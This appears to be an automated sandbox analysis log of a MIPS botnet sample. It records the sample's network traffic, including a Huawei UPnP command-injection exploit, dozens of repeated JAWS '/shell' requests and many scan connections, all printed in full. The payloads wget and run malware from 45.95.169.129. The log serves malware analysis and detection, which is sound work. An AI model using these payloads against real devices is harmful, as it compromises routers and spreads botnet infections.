Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/boatnet.mips.elf (PID: 5432)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown

DNS traffic detected: query: bot.nulling.io replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 183.244.94.92
Source: unknown	TCP traffic detected without corresponding DNS query: 116.42.227.92
Source: unknown	TCP traffic detected without corresponding DNS query: 63.32.59.22
Source: unknown	TCP traffic detected without corresponding DNS query: 23.13.99.188
Source: unknown	TCP traffic detected without corresponding DNS query: 208.15.64.159
Source: unknown	TCP traffic detected without corresponding DNS query: 131.232.126.255
Source: unknown	TCP traffic detected without corresponding DNS query: 65.132.133.102
Source: unknown	TCP traffic detected without corresponding DNS query: 150.111.21.145
Source: unknown	TCP traffic detected without corresponding DNS query: 93.14.194.70
Source: unknown	TCP traffic detected without corresponding DNS query: 39.87.5.151
Source: unknown	TCP traffic detected without corresponding DNS query: 78.87.239.212
Source: unknown	TCP traffic detected without corresponding DNS query: 60.56.222.7
Source: unknown	TCP traffic detected without corresponding DNS query: 112.115.182.38
Source: unknown	TCP traffic detected without corresponding DNS query: 24.147.106.45
Source: unknown	TCP traffic detected without corresponding DNS query: 117.189.223.250
Source: unknown	TCP traffic detected without corresponding DNS query: 170.182.14.66
Source: unknown	TCP traffic detected without corresponding DNS query: 164.242.148.95
Source: unknown	TCP traffic detected without corresponding DNS query: 186.137.108.73
Source: unknown	TCP traffic detected without corresponding DNS query: 183.184.36.193
Source: unknown	TCP traffic detected without corresponding DNS query: 100.139.127.148
Source: unknown	TCP traffic detected without corresponding DNS query: 222.251.203.218
Source: unknown	TCP traffic detected without corresponding DNS query: 8.33.139.200
Source: unknown	TCP traffic detected without corresponding DNS query: 138.96.198.53
Source: unknown	TCP traffic detected without corresponding DNS query: 47.180.166.186
Source: unknown	TCP traffic detected without corresponding DNS query: 165.189.203.132
Source: unknown	TCP traffic detected without corresponding DNS query: 183.156.135.130
Source: unknown	TCP traffic detected without corresponding DNS query: 119.106.117.163
Source: unknown	TCP traffic detected without corresponding DNS query: 145.186.17.166
Source: unknown	TCP traffic detected without corresponding DNS query: 198.23.41.130
Source: unknown	TCP traffic detected without corresponding DNS query: 177.252.133.222
Source: unknown	TCP traffic detected without corresponding DNS query: 212.179.37.162
Source: unknown	TCP traffic detected without corresponding DNS query: 61.38.251.161
Source: unknown	TCP traffic detected without corresponding DNS query: 190.152.225.44
Source: unknown	TCP traffic detected without corresponding DNS query: 216.134.201.22
Source: unknown	TCP traffic detected without corresponding DNS query: 184.159.212.120
Source: unknown	TCP traffic detected without corresponding DNS query: 166.52.97.209
Source: unknown	TCP traffic detected without corresponding DNS query: 132.151.221.240
Source: unknown	TCP traffic detected without corresponding DNS query: 69.212.141.19
Source: unknown	TCP traffic detected without corresponding DNS query: 42.243.228.158
Source: unknown	TCP traffic detected without corresponding DNS query: 212.112.8.160
Source: unknown	TCP traffic detected without corresponding DNS query: 37.86.58.14
Source: unknown	TCP traffic detected without corresponding DNS query: 159.60.134.244
Source: unknown	TCP traffic detected without corresponding DNS query: 106.214.158.142
Source: unknown	TCP traffic detected without corresponding DNS query: 187.57.161.135
Source: unknown	TCP traffic detected without corresponding DNS query: 191.171.171.145
Source: unknown	TCP traffic detected without corresponding DNS query: 9.93.147.20
Source: unknown	TCP traffic detected without corresponding DNS query: 17.161.84.176
Source: unknown	TCP traffic detected without corresponding DNS query: 64.113.69.209
Source: unknown	TCP traffic detected without corresponding DNS query: 137.21.34.231
Source: unknown	TCP traffic detected without corresponding DNS query: 131.168.102.108

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
